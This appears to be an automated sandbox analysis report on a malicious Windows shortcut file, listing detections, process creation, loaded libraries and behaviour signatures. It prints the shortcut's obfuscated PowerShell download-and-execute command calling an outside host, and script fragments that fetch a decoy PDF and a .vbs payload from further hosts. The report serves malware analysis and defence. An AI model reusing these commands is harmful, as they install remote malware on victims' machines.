Jump to behavior

Source: yswmdaREME.lnk	Virustotal: Detection: 44%
Source: yswmdaREME.lnk	ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${k99xuf.});${.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing'))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\List of Required items and services.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1636,i,1401609163497545281,15886362525397421194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\List of Required items and services.pdf"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1636,i,1401609163497545281,15886362525397421194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: yswmdaREME.lnk

LNK file: ..\..\..\..\windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mscorlib.pdbc source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.1580665848.000001D94FC29000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000002.00000002.1580665848.000001D94FC40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1580665848.000001D94FC29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb@Lb1 source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb] source: powershell.exe, 00000004.00000002.1403404910.00000106D6083000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbnu*_ source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdba source: powershell.exe, 00000004.00000002.1403404910.00000106D6083000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32l source: powershell.exe, 00000004.00000002.1403404910.00000106D600A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing'))

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_00007FFAAC5B74FB push ebx; iretd

2_2_00007FFAAC5B756A

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk -Name));getit -fz ($fzf + 'List of Required items and services.pdf') -oulv 'htbd0www.astm25ntm25rprism25s.com.pk/ms/List%20of%20rm25quirm25d%20itm25ms%20and%20sm25rvicm25s.pdf';getit -fz $flol -oulv 'http://www.blum25maxxlasm25r.com/ms/ms.vbs';exit[Environment]::GetEnvironmentVariable('public') + '\\j67.vbs'@{GUID="EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D"Author="Microsoft Corporation"CompanyName="Microsoft Corporation"Copyright=" Microsoft Corporation. All rights reserved."ModuleVersion="3.1.0.0"PowerShellVersion="5.1"CLRVersion="4.0"NestedModules="Microsoft.PowerShell.Commands.Management.dll"HelpInfoURI = 'https://go.microsoft.com/fwlink/?linkid=390785'AliasesToExport = @("gcb", "scb", "gin", "gtz", "stz")FunctionsToExport = @()CmdletsToExport=@("Add-Content", "Clear-Content", "Clear-ItemProperty", "Join-Path", "Convert-Path", "Copy-ItemProperty", "Get-EventLog", "Clear-EventLog", "Write-EventLog", "Limit-EventLog", "Show-EventLog", "New-EventLog", "Remove-EventLog", "Get-ChildItem", "Get-Content", "Get-ItemProperty", "Get-ItemPropertyValue", "Get-WmiObject", "Invoke-WmiMethod", "Move-ItemProperty", "Get-Location", "Set-Location", "Push-Location", "Pop-Location", "New-PSDrive", "Remove-PSDrive", "Get-PSDrive", "Get-Item", "New-Item", "Set-Item", "Remove-Item", "Move-Item", "Rename-Item", "Copy-Item", "Clear-Item", "Invoke-Item", "Get-PSProvider", "New-ItemProperty", "Split-Path", "Test-Path", "Get-Process", "Stop-Process", "Wait-Process", "Debug-Process", "Start-Process", "Remove-ItemProperty", "Remove-WmiObject", "Rename-ItemProperty", "Register-WmiEvent", "Resolve-Path", "Get-Service", "Stop-Service", "Start-Service", "Suspend-Service", "Resume-Service", "Restart-Service", "Set-Service", "New-Service", "Set-Content", "Set-ItemProperty", "Set-WmiInstance", "Get-Transaction", "Start-Transaction", "Complete-Transaction", "Undo-Transaction", "Use-Transaction", "New-WebServiceProxy", "Get-HotFix", "Test-Connection", "Enable-ComputerRestore", "Disable-ComputerRestore", "Checkpoint-Computer", "Get-ComputerRestorePoint", "Restart-Computer", "Stop-Computer", "Restore-Computer", "Add-Computer", "Remove-Computer", "Test-ComputerSecureChannel", "Reset-ComputerMachinePassword", "Rename-Computer", "Get-ControlPanelItem", "Show-ControlPanelItem", "Clear-Recyclebin", "Get-Clipboard", "Set-Clipboard", "Get-ComputerInfo", "Get-TimeZone", "Set-TimeZone")CompatiblePSEditions = @('Desktop','Core')} if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and 